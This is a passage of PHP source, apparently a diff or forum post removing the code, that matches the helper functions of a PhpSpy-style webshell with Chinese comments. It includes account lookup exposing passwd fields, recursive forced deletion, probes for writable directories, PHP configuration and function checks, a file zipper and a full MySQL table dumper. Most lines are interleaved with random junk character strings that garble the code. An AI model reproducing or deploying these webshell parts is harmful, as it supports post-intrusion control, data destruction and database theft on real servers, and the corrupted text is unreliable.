2 Y' [. X. O; `# d - $group['write'] = ($mode & 00020) ? 'w' : '-';
8 D l5 n4 \) ^2 O' m( M9 d - $group['execute'] = ($mode & 00010) ? 'x' : '-';
$ n3 A! R4 \, X& T# I - $world['read'] = ($mode & 00004) ? 'r' : '-';
1 p. F% G9 t0 d' j# g1 d$ z - $world['write'] = ($mode & 00002) ? 'w' : '-';
! \5 V2 j! z8 V2 g! O6 q - $world['execute'] = ($mode & 00001) ? 'x' : '-'; * Q8 F6 Z1 v5 u% C
-
7 r4 T+ m0 }& Y# }: w - if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
/ F3 P+ Q# Z$ e2 t - if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
; E6 g9 X7 G1 @5 p0 A2 q - if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}1 O4 B) p. u8 }& {2 u( x$ ]
-
( b; j) i/ b5 P, j: j# m - return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1 _5 U$ e& ~0 l% m" | - }
/ w: g, @! x9 Z- f9 n - + H# L2 W) s% R- c" a2 k# Y
- function getUser($filepath) {
2 c# Q" Z1 a/ ^/ C - if (function_exists('posix_getpwuid')) {7 W' m3 A# F& ]
- $array = @posix_getpwuid(@fileowner($filepath));) B6 n7 i. u& ^4 n2 s3 J" d
- if ($array && is_array($array)) {
: W% D/ N- ?4 C1 u/ r0 @, W7 x - return ' / <a href="#" title="User: '.$array['name'].'
! e- i- P; y% Y! r - Passwd: '.$array['passwd'].'* v+ f" p. j2 ~* t& O R1 f
- Uid: '.$array['uid'].'7 i. c8 u! ~0 l
- gid: '.$array['gid'].'
6 e) Q. |) z3 v - Gecos: '.$array['gecos'].'
" J/ S( a- r/ g/ ]9 a; i - Dir: '.$array['dir'].'
# t7 {- S" f8 l! j# J7 l - Shell: '.$array['shell'].'">'.$array['name'].'</a>';
% s6 N J; Y' t, Q - }8 t3 F$ ~6 ^1 ^' y8 l; W
- }
+ T: H" J+ O Z6 i9 M& D2 p - return '';
' |8 l% e1 n0 Y. S( v; W - }
3 P8 T- g8 [$ {! K8 D% D - / y0 T# @. w6 k' x
- // 删除目录
+ x9 r* k5 l( e' X2 r - function deltree($deldir) {7 {7 l- B+ u- ~/ A$ R
- $mydir=@dir($deldir);
5 k- l5 i. U+ [; v, k6 l! z3 c& a - while($file=$mydir->read()) { ! E: P5 Z x5 C( t' q5 Y
- if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
; {9 C/ _/ g" } X- R - @chmod($deldir.'/'.$file,0777);
1 O, P0 t1 H' O- I2 y - deltree($deldir.'/'.$file);
% J& W" \4 H" W9 f; F. Y# R - }
' u- |' L% C* ~8 n3 a# ? - if (is_file($deldir.'/'.$file)) {, v- W% G, `4 Z' R# q G
- @chmod($deldir.'/'.$file,0777);
( m/ h- r. G3 A/ H, b; _6 y% l - @unlink($deldir.'/'.$file);
8 u; D i# a7 R5 w0 `% C5 I# ~ - }
" a$ t) ~1 F) }# C6 w+ S4 ^ - }
$ L: D$ L$ y0 D/ J7 K7 O6 V - $mydir->close();
; B% x3 I5 v! Y8 S" e& b0 T+ W0 Z" u* M - @chmod($deldir,0777);0 j! c* \! ^) @ c3 ?/ p2 p
- return @rmdir($deldir) ? 1 : 0;
7 \* ]7 A# p) a - }" N7 j% @; l$ H" y2 a' ?4 [
-
0 Y2 P* u& [& A, | - // 表格行间的背景色替换: I3 G/ J3 S9 E! `
- function bg() {
7 m% d: w1 Z6 T+ j* d - global $bgc;) A: i' [$ t0 i5 s8 B, J9 h; x
- return ($bgc++%2==0) ? 'alt1' : 'alt2'; }) O( E# I X" t
- }
7 _: T, p; s5 ]- r. F - , c% B3 ~5 J* g& z! P$ j. y6 L( y
- // 获取当前的文件系统路径
6 J- K# O" c; B+ M3 z* ?8 t0 @* x - function getPath($scriptpath, $nowpath) {" `6 |/ }8 k5 H# C2 l
- if ($nowpath == '.') {9 y' d% s9 x+ A! Z. H/ y5 e! F e t
- $nowpath = $scriptpath;
6 y) X4 U4 _8 @& s& s$ G, Q" b - }
! I. P R; T5 f - $nowpath = str_replace('\\', '/', $nowpath);/ J1 V* x$ B0 b7 `$ I1 s
- $nowpath = str_replace('//', '/', $nowpath);
- {3 F% V$ I# C. x - if (substr($nowpath, -1) != '/') {
, s3 D! T, k- ^3 V - $nowpath = $nowpath.'/';
/ d x7 s' D$ E! \. j0 U! x - }/ t9 B( C! C$ p8 y2 ]* M+ `: t2 b$ E
- return $nowpath;
- y5 u* t8 N. k' T - }6 }. W6 I+ R, F: n/ q! d
- 1 e5 [1 ~8 \/ T- U3 r
- // 获取当前目录的上级目录
9 Z& d9 I, } D! L5 u P8 j& j6 O - function getUpPath($nowpath) {
3 ?! H& w, o, A" k& K - $pathdb = explode('/', $nowpath);# o) g# S6 j8 y
- $num = count($pathdb);
* l' V: U8 \$ m! ^ - if ($num > 2) {
7 ]: e1 E( R9 C1 A - unset($pathdb[$num-1],$pathdb[$num-2]);
. a5 C! {, e0 S& A, k( ^ - }. @9 s$ Z* n2 A) ~' U
- $uppath = implode('/', $pathdb).'/';
1 I5 u Y- H4 A1 \* W4 M) j - $uppath = str_replace('//', '/', $uppath);
% d1 A/ |; H7 V9 J4 H$ E - return $uppath;% G; |4 n/ l. a; N
- }
: {6 J4 l) F; \5 _/ l6 [ - , Q, k* p1 _) f8 o! V8 X' Z6 V
- // 检查PHP配置参数
, D0 f$ u8 u, [! b' X - function getcfg($varname) {# X: C6 D/ U) Q2 A$ W: Q
- $result = get_cfg_var($varname);5 {8 \$ z. ]& O5 B4 D& e8 E
- if ($result == 0) {( N# W5 o" t" j7 R6 b- p4 q
- return 'No';
. a. e$ t; w5 p7 @9 _) y - } elseif ($result == 1) {' _- H, _, N0 c5 v5 n: h
- return 'Yes';; q# w: j; N2 O6 N H3 Q W
- } else {# u, S) |& B& ^& q
- return $result;
4 v& [" C6 g5 l, v) @* f - }
; ~, V9 k* N- s8 l; [ - }
. \# b& k& i( R1 [7 B0 A -
6 o* d, M7 R3 a9 p+ b5 h; E - // 检查函数情况# G6 ^( X5 Q0 u4 U
- function getfun($funName) {% y4 R: l( F: f
- return (false !== function_exists($funName)) ? 'Yes' : 'No';% J G8 _. M& i& `
- }
6 E& @. Q/ x5 b/ y9 A: ^) r -
1 H: @! N$ l# u( f5 |8 X( y$ J% b - function GetList($dir){$ i/ N. I/ n& A! I: l- D6 i& m
- global $dirdata,$j,$nowpath;
: a. U) W8 \. Z" N - !$j && $j=1;# b1 B+ P. A; x4 g1 v
- if ($dh = opendir($dir)) {! a9 J. A- J9 T( o4 U; G
- while ($file = readdir($dh)) {
& m6 o* W) t) g# `; D& L+ w - $f=str_replace('//','/',$dir.'/'.$file);& K, M2 z, E& s4 J. Y2 r# f: G
- if($file!='.' && $file!='..' && is_dir($f)){1 X) b8 G5 b: l2 B
- if (is_writable($f)) {
, x' b/ O9 b I7 f/ k; { j - $dirdata[$j]['filename']=str_replace($nowpath,'',$f);# }% N& \( R" E3 V/ K. g
- $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));" I) e" `$ r9 q+ S9 u) W/ Y- z: M
- $dirdata[$j]['dirchmod']=getChmod($f);9 X/ P5 A; c' o4 X8 U
- $dirdata[$j]['dirperm']=getPerms($f);4 A& ?5 Z p. J5 V0 m+ U
- $dirdata[$j]['dirlink']=ue($dir);+ p8 c* r3 ]" T3 \ ~
- $dirdata[$j]['server_link']=$f;' i6 A; ]( R# A2 a* b
- $dirdata[$j]['client_link']=ue($f);! D6 ~% O$ e" d- f7 g
- $j++;
/ U& l: q" {5 Z0 V- ~ - }
; o$ I3 h4 {6 g - GetList($f);
& z, x5 o" k. {& v - }
0 L; J2 W, B; W - }# [0 Q' R7 p3 [4 m! B
- closedir($dh);! D7 b* E6 q% l$ z! z
- clearstatcache();, J9 J! ~/ O* i. Z Z T0 b, o# f
- return $dirdata;$ W0 G0 B% Q3 N" A- i0 V9 w
- } else {
3 D; B$ ?; H1 z# q# x/ |7 h - return array();
* ?( o1 y& w w - }
8 K2 q( F! U7 ~. u6 M - }
8 B' _ d# Q2 l7 { -
1 G6 t Y) ]0 E7 T5 }7 F }+ d - function qy($sql) { + M/ U0 a7 P' d* S" K
- //echo $sql.'<br>';
9 r: {' @ v; }, l6 P% |0 j - $res = $error = '';
# b* k6 O: N$ b* S - if(!$res = @mysql_query($sql)) { , t4 t5 e( X; w% [& w7 L
- return 0;
3 M9 _! | @* s* X; l- J - } else if(is_resource($res)) {, u" q7 K0 Z1 T- A ~7 |1 ~
- return 1; & l9 t$ e$ k [4 n1 a) i
- } else {. F. r- o/ l7 b2 j
- return 2;; l, E& k& w6 s- j2 Z- p7 }) ?
- }
j- e6 U7 q- y - return 0;6 t) w5 b3 q7 j
- }! O5 X; K! h# X: E4 D% D
- a/ x8 G6 I: L8 k; X: B1 g
- function q($sql) {
3 F3 a4 f5 k5 y: o* Y - return @mysql_query($sql);
* u/ v: h% a, c$ q% B: \" p0 I - }& g2 X3 }8 d# C3 M. K2 i* V+ K
-
6 P! q* X% Q. D - function fr($qy){. E k/ n) T, m. Q0 ]; n" s) z( q! E
- mysql_free_result($qy);
! F/ n$ ?/ Q5 W0 ^, |* k3 [. w7 {3 a - }
9 @' \2 W+ ~ D7 [" k @( R9 U -
! R- ]% B5 ?2 `7 ~1 p9 E- F) |% c8 D - function sizecount($size) {2 {; L! A7 U @; d4 Y
- if($size > 1073741824) {8 i n, i1 t9 s( N, t
- $size = round($size / 1073741824 * 100) / 100 . ' G';, H2 f7 L- m. e5 H# B8 M3 C
- } elseif($size > 1048576) {2 _7 k2 p' K2 `8 Q! W
- $size = round($size / 1048576 * 100) / 100 . ' M'; v0 c- A3 M" Z* J, ?6 T
- } elseif($size > 1024) {) t* F4 X; u/ w7 `
- $size = round($size / 1024 * 100) / 100 . ' K';
8 l; ^1 j* i$ \; S2 ` - } else {* G- q& R# I* A- w7 T
- $size = $size . ' B';4 z6 U$ P1 ]; O k6 F6 y2 h% O
- }- L6 b( [1 R+ C4 k2 H
- return $size; r F8 n4 u1 z- [8 j+ q
- }
; M; p8 v" A3 C: b: h - 4 [* h% E k3 c8 e+ G3 M7 M2 e, [
- // 压缩打包类
2 F7 A6 `6 r5 V2 T9 I6 m5 L - class PHPZip{3 n# Y1 _! ]1 ^& D9 H
- var $out='';- O2 q' C! T& A5 L9 F4 Z) A- e |; ~
- function PHPZip($dir) {/ h1 P( q+ ]2 l* X' D) d: o9 N
- if (@function_exists('gzcompress')) {
" Q" Y) i+ Y) h: \6 @, C - $curdir = getcwd();) l( S& W8 f2 `. ]* [% F
- if (is_array($dir)) $filelist = $dir;; S8 A4 J. s' F. |+ q5 W
- else{
4 k0 C( s: W- H - $filelist=$this -> GetFileList($dir);//文件列表& M/ s4 E: S( o. }/ X+ T6 _5 L& N
- foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
: R8 E0 q4 w0 Z7 w7 f - }
9 p/ Z: {8 }& ]5 W7 h% N - if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);' E. u& s" u3 f; q9 X* p- T
- else chdir($curdir);/ y/ E2 v$ o3 q) x
- if (count($filelist)>0){( m* w q5 e* z$ X+ L# L/ S) C
- foreach($filelist as $filename){
. B; T' `6 \( F3 m( ?+ l4 j4 y - if (is_file($filename)){
6 N2 s) `: Z3 F+ U: ]( a, y - $fd = fopen ($filename, 'r');
% ?; j# V: x( R( i - $content = @fread ($fd, filesize($filename));
6 y) v" `/ w4 b* \2 J - fclose ($fd);
0 A$ v. ]! ]# d$ b8 Y+ | - if (is_array($dir)) $filename = basename($filename);: E- g! P ^' ?# f
- $this -> addFile($content, $filename);
1 K. K# n% j# d/ M - }, k$ k, Y9 j& ^1 e& @) g- [
- }
, B% m( H9 \6 ~% N% @+ u4 n - $this->out = $this -> file(); I! P% ?, K, _: L
- chdir($curdir);
, v5 F9 ~: V5 {; ] - }: w+ h+ J- a3 K0 J9 Y0 S" w& B/ a
- return 1;
/ g! n% k) t: l6 Z" \ - }
' s4 `0 O" Q" ], }8 t* g& u - else return 0;
0 d& Y9 P# l7 H' e# V+ o+ o - }+ i5 u" N$ [* f/ b6 U* C% H6 m2 p
-
6 H$ z" ^) S7 E, h \$ v - // 获得指定目录文件列表
* d c, w; D9 `9 `) @ - function GetFileList($dir){
5 O4 |3 x* l ?+ @4 G% d* r; S - static $a;
: }1 K6 r6 b" M8 h" L - if (is_dir($dir)) {
; |8 s2 u3 S& ]3 t3 s z5 |, z - if ($dh = opendir($dir)) {( o, X: m% x; ]) N0 W
- while ($file = readdir($dh)) {
+ _& W; T- u/ _4 J9 Y - if($file!='.' && $file!='..'){% n3 q1 ]3 N3 S+ N- ?9 Y' t# x
- $f=$dir .'/'. $file;& T) Z& H3 n. f1 u; r8 k9 c
- if(is_dir($f)) $this->GetFileList($f);
: a: z- m: o. N! w0 o4 r8 { - $a[]=$f;" S8 S! H: h: X, Q- ]* D* T0 b
- }2 i0 B) b6 v! x( ]! Z9 j
- }
; \7 z j+ g4 g# s - closedir($dh);; M' I) g' m* P. q
- }" {( Q* G3 q! L; b4 W ^! b
- }7 Z7 @1 D+ k0 V3 z. J
- return $a;+ r8 D, r, Z7 U" ~1 W2 ~
- }' [0 ~* h8 Q" n# K' N
-
" L/ A& @, a: @# K4 ?3 [ - var $datasec = array();; C% o+ e- u/ d! C; r6 \
- var $ctrl_dir = array();% W8 g Z- X9 z" u
- var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
. P, U- P& v" c9 Z - var $old_offset = 0;; f1 d9 e1 K. `+ B/ k( P& u3 ~' y' i
- 9 S6 A% a% j4 A3 j
- function unix2DosTime($unixtime = 0) {& H' w! U' h6 U5 k
- $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
2 t$ t" M# Q8 p - if ($timearray['year'] < 1980) {3 G+ i1 _6 Z I' P7 m B! P
- $timearray['year'] = 1980;
4 Q! Y& D9 c! H- q" r& z7 W/ \' x& a - $timearray['mon'] = 1;
: \% T% m* j3 R1 ^( u - $timearray['mday'] = 1;
2 ]: F# u5 ^0 r1 \. T4 ~ - $timearray['hours'] = 0;" I: k& ]- n: w! I
- $timearray['minutes'] = 0;
( N9 f W0 b: h8 b3 g3 X - $timearray['seconds'] = 0;
9 A5 @6 k+ q. a - } // end if
; ?2 T% w/ R1 J0 E1 P8 }9 k - return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |, g" n) j5 _% R) Y& l! o
- ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
! P x- {/ R: I+ t( {+ s6 j - }
9 Z3 u7 z' z7 {1 }7 M* l: Q3 ?# ` - function addFile($data, $name, $time = 0) {! |# d9 L4 r2 ~- Q# b
- $name = str_replace('\\', '/', $name);. @; |7 x1 |* R# h% s0 Z0 T) S
- $dtime = dechex($this->unix2DosTime($time));
8 c. H- k) F3 I7 w O - $hexdtime = '\x' . $dtime[6] . $dtime[7]; E! w a. y" c
- . '\x' . $dtime[4] . $dtime[5]& A* b( G: {# f$ l7 `& {8 `
- . '\x' . $dtime[2] . $dtime[3]
; j5 w) c1 L+ Y0 c$ I- `& \1 K - . '\x' . $dtime[0] . $dtime[1];0 j: |( C# J; ^( _
- eval('$hexdtime = "' . $hexdtime . '";');
$ S; N5 Z2 q! t' J8 |; C) R d - $fr = "\x50\x4b\x03\x04";7 j6 Z. \& K; z: i! p- y
- $fr .= "\x14\x00";
) p% s- r" r3 L) m+ ]6 N - $fr .= "\x00\x00";* i' l( R- ^0 s
- $fr .= "\x08\x00";; m$ p' [0 V$ }7 O G5 \
- $fr .= $hexdtime;
$ X% {( K/ a1 x6 {; h - $unc_len = strlen($data);
* O! F# g3 x& }/ f6 g+ V& h - $crc = crc32($data); Q- T2 t4 G& b7 A0 \2 F
- $zdata = gzcompress($data);
& f; {4 W( M2 n, d) _; \0 G: P - $c_len = strlen($zdata);: ?. F9 G9 w/ r: N* C
- $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);) l# Q4 b. d& n v" p
- $fr .= pack('V', $crc);' ^0 J8 N1 s: V
- $fr .= pack('V', $c_len);5 Q! s$ c. v3 u1 y
- $fr .= pack('V', $unc_len);
' G$ d# D$ n2 [* c - $fr .= pack('v', strlen($name));
# z2 l. h2 A8 p3 W* C) |% a% I0 A - $fr .= pack('v', 0);
1 U( R0 }8 }* b( B, ^ - $fr .= $name;# @$ G1 J7 J2 X0 f1 H! E) [
- $fr .= $zdata;$ T8 b% _7 q" c+ Z6 s4 N
- $fr .= pack('V', $crc);
4 r% H$ l: G) D5 Y( Z$ i, u4 y' [9 H - $fr .= pack('V', $c_len);' l: @" j: q: ` K. e4 |& n' ?( D
- $fr .= pack('V', $unc_len);
; `1 ] l5 U% a& Z, w - $this -> datasec[] = $fr;' u$ }# H9 R: \* Q& e( g
- $new_offset = strlen(implode('', $this->datasec));. R! s8 o3 q& l( d
- $cdrec = "\x50\x4b\x01\x02";
' h! z8 t3 k, N( k! {1 b) _) J+ W: p - $cdrec .= "\x00\x00";
4 o& q6 X5 Z8 ?8 i6 h - $cdrec .= "\x14\x00";. h) a7 ~$ \# A, i* t) b
- $cdrec .= "\x00\x00";# Y9 M7 h0 a! ?4 H3 P+ b
- $cdrec .= "\x08\x00";1 `$ J+ c' F2 a! L- X
- $cdrec .= $hexdtime;( Q! ^1 ~2 Y3 T/ D( ]! ]% t
- $cdrec .= pack('V', $crc);
. k/ b6 G+ q) @: I# z7 j* @. k - $cdrec .= pack('V', $c_len);$ o( D' ^2 h2 ]; t. a( D# v* a$ A& y
- $cdrec .= pack('V', $unc_len);: u5 U6 {8 h( {% }5 R0 v
- $cdrec .= pack('v', strlen($name) );) m9 F4 j+ q' _3 L5 U
- $cdrec .= pack('v', 0 );2 z- i5 q3 h$ u3 v- p1 ?
- $cdrec .= pack('v', 0 );
% m" N0 h0 e. W8 X, p; p& n - $cdrec .= pack('v', 0 );
! R+ ]+ e$ _' U6 {" v8 P0 j" F - $cdrec .= pack('v', 0 );
* U: O1 T; t J. @! i - $cdrec .= pack('V', 32 );+ ?1 y8 I6 ^0 L9 g& }
- $cdrec .= pack('V', $this -> old_offset );
6 s- d$ M# g7 c6 u* d4 Z u: f - $this -> old_offset = $new_offset;
, t1 k( c3 I7 A% Z; s& T K4 F - $cdrec .= $name;0 ^8 P" \5 P2 r4 _
- $this -> ctrl_dir[] = $cdrec;
J/ Z; k4 ]) X$ w$ A - }
1 }) E& }+ S: V; K - function file() {
! X6 L1 B& o& W$ \2 w/ N - $data = implode('', $this -> datasec);
0 q, }9 w& M& {4 c$ J - $ctrldir = implode('', $this -> ctrl_dir);9 s2 v, l4 Y: O- d/ O' ^- p, W
- return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";7 O4 L! C, W4 R1 `4 e4 C) x
- }1 _, i2 ]* U2 C* C1 z/ t1 Y- O
- }# P8 Z, Y5 C4 t" j6 A9 S
- // 备份数据库; R t& l3 G$ u3 d
- function sqldumptable($table, $fp=0) {6 q$ q* z* H- ]" J" ?3 j
- $tabledump = "DROP TABLE IF EXISTS $table;\n";
- }" E& E s2 G8 c- ^* L) A0 w - $tabledump .= "CREATE TABLE $table (\n";2 U; o! v* c; }' Q) ?# g, v2 o( Q
- $firstfield=1;2 D' i& o0 s4 D! \2 `
- $fields = q("SHOW FIELDS FROM $table"); O, ]; n) i! F9 D' m
- while ($field = mysql_fetch_array($fields)) {
: j. K5 G- p0 e - if (!$firstfield) { }; y! f0 @1 @ {
- $tabledump .= ",\n";2 Y, L1 j/ d7 B9 N5 Y- n
- } else {5 O/ j4 \% L+ [
- $firstfield=0;
' }- S5 k1 j' e. X# [& r: k, V - }
0 O% k7 ^6 V- A% m/ ?3 ~ - $tabledump .= " $field[Field] $field[Type]";
$ {( X, [5 ?7 |# ^& Q! L - if (!empty($field["Default"])) {
2 T9 R* E5 w$ ?4 N% C- S. v) } - $tabledump .= " DEFAULT '$field[Default]'";
- m9 q9 H% a1 j' B% Z6 H - }1 I2 c* X9 v5 a0 {4 m3 `
- if ($field['Null'] != "YES") {# ~/ d ?) ]8 \9 I' W6 W
- $tabledump .= " NOT NULL";, U2 D' i0 D1 j- T
- }
8 b0 R6 n/ R k - if ($field['Extra'] != "") {
{" s5 d, S* j3 p - $tabledump .= " $field[Extra]";1 m, Q" W% @' O1 ^. [
- }" N3 d- p8 r3 g" P6 p1 N
- }
( k8 u/ x, h d* F( J& m - fr($fields);
* V8 U ?4 G5 }0 m& m+ c - $keys = q("SHOW KEYS FROM $table");8 s& k, J( d: j/ U' E+ P
- while ($key = mysql_fetch_array($keys)) {0 q- X/ G$ b: x/ a
- $kname=$key['Key_name'];
8 m% v/ O4 \. H) j - if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {7 a ~( h$ e8 `- A; m
- $kname="UNIQUE|$kname";1 i) O! p ]1 H) ~% f$ {! {: N Z+ b
- }* U! c9 y g) v! L* x
- if(!is_array($index[$kname])) {- t" F# u; p2 ?
- $index[$kname] = array();
5 ^- C3 t. C1 Z* T - }
( ^- I6 s% f# b0 H$ x- u- c5 c - $index[$kname][] = $key['Column_name'];
* K9 }# p' V4 O& w2 N: w - }0 \& j5 u% ]* K/ _+ l, d7 G- r' J7 Y
- fr($keys);
2 O( Y% S: X2 Q2 N# n* s" Y1 i; K - while(list($kname, $columns) = @each($index)) {
) \ Q0 m7 z* e- X - $tabledump .= ",\n";
P9 ?9 b+ Z J - $colnames=implode($columns,",");" _8 z& j; E' ^1 I% K( j, t
- if ($kname == "PRIMARY") {
( J+ h! x* d# z+ F - $tabledump .= " PRIMARY KEY ($colnames)";
7 }: L& \. P1 b1 S8 c" K9 B - } else {3 K! i- r4 ^7 M ]2 F3 P4 h
- if (substr($kname,0,6) == "UNIQUE") {2 o; F, m0 d5 y, k% }! M
- $kname=substr($kname,7);2 I/ w3 @7 a D8 }* m' \3 G
- }
: N0 ?, ]/ O5 a" d - $tabledump .= " KEY $kname ($colnames)";
: u/ k! q, A4 ~) E - }
; j9 J0 l5 Z$ @; {' K - }/ }+ m! Q. `! `! X- @$ ]
- $tabledump .= "\n);\n\n";$ }& `" h6 x; s" z
- if ($fp) {
1 |! F0 l7 d: B9 T, _# K7 c - fwrite($fp,$tabledump);
' w p V9 F, u: ]5 \6 o2 q) r - } else {
; V, z" d3 I( \# o+ _% K5 P0 Z - echo $tabledump;& I& w; E! g' \) |, t6 d; `
- }1 D: e1 C/ F; I" c$ S
- $rows = q("SELECT * FROM $table");7 h/ \; X8 H9 W/ N0 Q/ _
- $numfields = mysql_num_fields($rows);
; u# z. Q* A0 Q# A2 l9 W2 f - while ($row = mysql_fetch_array($rows)) {% _7 Y, P' a" f. p
- $tabledump = "INSERT INTO $table VALUES(";4 l: Y! t6 \2 W8 f1 |
- $fieldcounter=-1;
3 V; U @8 h7 x. T6 L - $firstfield=1;
7 i+ f) b! w& q5 F3 @ - while (++$fieldcounter<$numfields) {' n8 p0 e; F. r+ y' s
- if (!$firstfield) {
8 q4 h: _/ Y1 C* J1 { - $tabledump.=", ";
- [6 U0 x5 r: O# m6 V - } else {, T1 a% ]& S- J
- $firstfield=0;0 [+ x5 c$ R# f$ I1 r3 l* J
- }
/ x+ K7 I% D/ |; R1 ?3 m$ N- L - if (!isset($row[$fieldcounter])) {
& @+ b3 x) z# s1 s$ x - $tabledump .= "NULL";
$ K5 M1 _5 I) J% L: f - } else {4 j5 \3 q+ m) F: D
- $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
0 w/ {7 k; x+ l+ W" f4 P! { - }4 _: R& f; O1 p- y
- }' @; l: j7 X; }7 V
- $tabledump .= ");\n";* B* W, |: V! v* {2 P6 ]. ?
- if ($fp) {
+ V! b2 d" `& Y4 l7 G: v/ ` - fwrite($fp,$tabledump);1 d7 g5 F$ M' |+ Y- H1 T' T
- } else {2 d% ` p2 Z6 z, R
- echo $tabledump;# a5 M" ]8 F Y
- }5 A, Z' Y; g8 _1 ?+ [% \! e( P7 O
- }6 h# |0 I$ b8 a4 M# T# c! F0 }+ I
- fr($rows);
5 Z) R& l, Z+ v3 h, r$ d' W - if ($fp) {8 b: K/ t: K8 A* B0 G3 u
- fwrite($fp,"\n");$ s( ?% I. g$ ^" A% j
- } else {- Q9 n; ^% ]& R6 `1 X
- echo "\n";. T! A/ X$ k. S' N3 ?
- }
* V& u- x0 r: S6 x - }8 i5 h* ~0 q+ ~. v4 ]- G2 |
- function ue($str){" Q9 ~) k- h3 d$ V) e& i' `
- return urlencode($str);
5 A" l; C4 S0 v' u% R# o - }9 j- V/ \6 Q, M) R" k( L% K
- function p($str){! H' b: f7 k/ L5 ?8 g/ q
- echo $str."\n";
, a* ]2 ^: ^" }: n. G, k - }
/ s, W- |. k6 i$ l6 i - function tbhead() {; E6 M9 u; X( w+ J
- p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');, A: b: t: s3 j. e3 L9 D! N# _
- }4 {! ~5 F, I. X" I
- function tbfoot(){
7 X/ [& J4 p; o - p('</table>');* @! ?9 v( x& m5 s+ A: p
- }
0 A: z7 Y) S! P- q* {6 K, o/ z - function makehide($name,$value=''){
5 d s& h" K4 ]! `- @ - p("<input id="$name" type="hidden" name="$name" value="$value" />");
- @# B6 @) q' Q/ A0 \ - }
* n" J7 d9 R; z8 \9 S- a - function makeinput($arg = array()){
3 k. t4 k: x6 V* ]0 f ]! h - $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";. }7 w* U6 [9 W. ^4 J" V
- $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';2 B6 ^3 @. A! L7 |# O" m
- !$arg['type'] && $arg['type'] = 'text';3 j8 ]; b) ~1 S2 } Q F
- $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
% f" Z! C: M/ g2 X1 H; m- R' C Y - $arg['class'] = $arg['class'] ? $arg['class'] : 'input';4 G$ I& m# q. h) [( C5 R$ R: g4 W
- if ($arg['newline']) {
" Y' {" n4 n+ w5 h - p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");5 ?- x& t0 N: X" X0 a% U8 X6 r4 O
- } else {7 B* g5 D# u3 U" {6 l5 N9 d8 U4 V, F
- p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");9 X6 U, C* D3 l. V0 ?9 {
- }3 u3 _# S! }0 \7 \1 e$ y8 x4 \
- }. j2 U/ B0 i/ G! j$ l5 T. `
- function makeselect($arg = array()){6 L( s. C5 Y" n. @# l" V
- if ($arg['onchange']) {
, q, k: R# J6 |- m, i6 {, U( O; j2 H - $onchange = 'onchange="'.$arg['onchange'].'"';
3 g) u7 y& L+ { - }
1 x/ V2 f1 G3 Z* Z. [ - $arg['title'] = $arg['title'] ? $arg['title'] : '';
) I- x5 [1 R# E% v" ^5 N - if ($arg['newline']) p('<p>');
7 w/ _( w+ Z( G# D2 m9 ]$ ?6 Z4 C9 d - p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
: T& f+ g% U+ Y" W2 m7 o% t - if (is_array($arg['option'])) {7 J) t: @ b7 U6 v3 | f5 ^$ P( e
- foreach ($arg['option'] as $key=>$value) {
5 G, V0 u+ m8 ]6 i @ - if ($arg['selected']==$key) {% W: u8 K& d6 Q! h4 w' u7 t% \
- p("<option value="$key" selected>$value</option>");
. e' X2 ^& ], [! z( f - } else {
5 E# S7 I$ [ ~; G - p("<option value="$key">$value</option>");
- X$ x! l5 G8 {5 n7 E n# z/ ^ - }: e! Q/ n" T1 y' T+ d
- }
1 p O7 i+ x) z - }
/ P2 }0 `" |. V! l- R% k& ~, U - p("</select>");5 d0 `2 ?' C! N5 i7 T, y! S
- if ($arg['newline']) p('</p>');
: X: _; Q- ?: q. K3 c8 @% S3 j - }
6 X$ u6 @4 z C. W! a* X, g0 p - function formhead($arg = array()) {" B. N: v5 u, e. r
- !$arg['method'] && $arg['method'] = 'post';( O0 D2 F7 a% W5 d
- !$arg['action'] && $arg['action'] = $self;
$ `+ N0 X% k* G3 e - $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';# ~3 G9 }- d% N9 O
- !$arg['name'] && $arg['name'] = 'form1';
1 u% |' |9 r* Z/ s8 K& l/ T - p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");" O/ ~/ j2 Q$ Z
- if ($arg['title']) {
+ v" b5 I) l' v% p7 ^ - p('<h2>'.$arg['title'].' »</h2>');1 u4 h& O$ b: O
- }
: f+ O2 R) M( L/ c - }, }8 l5 v5 u5 n: \. d2 V6 x
-
! k% U; ]2 f" L - function maketext($arg = array()){5 C: k3 k& f7 z% k) u
- !$arg['cols'] && $arg['cols'] = 100;
Y4 Y: s& p- ?3 Z - !$arg['rows'] && $arg['rows'] = 25;
/ r( ?5 z2 q9 m' O) S - $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
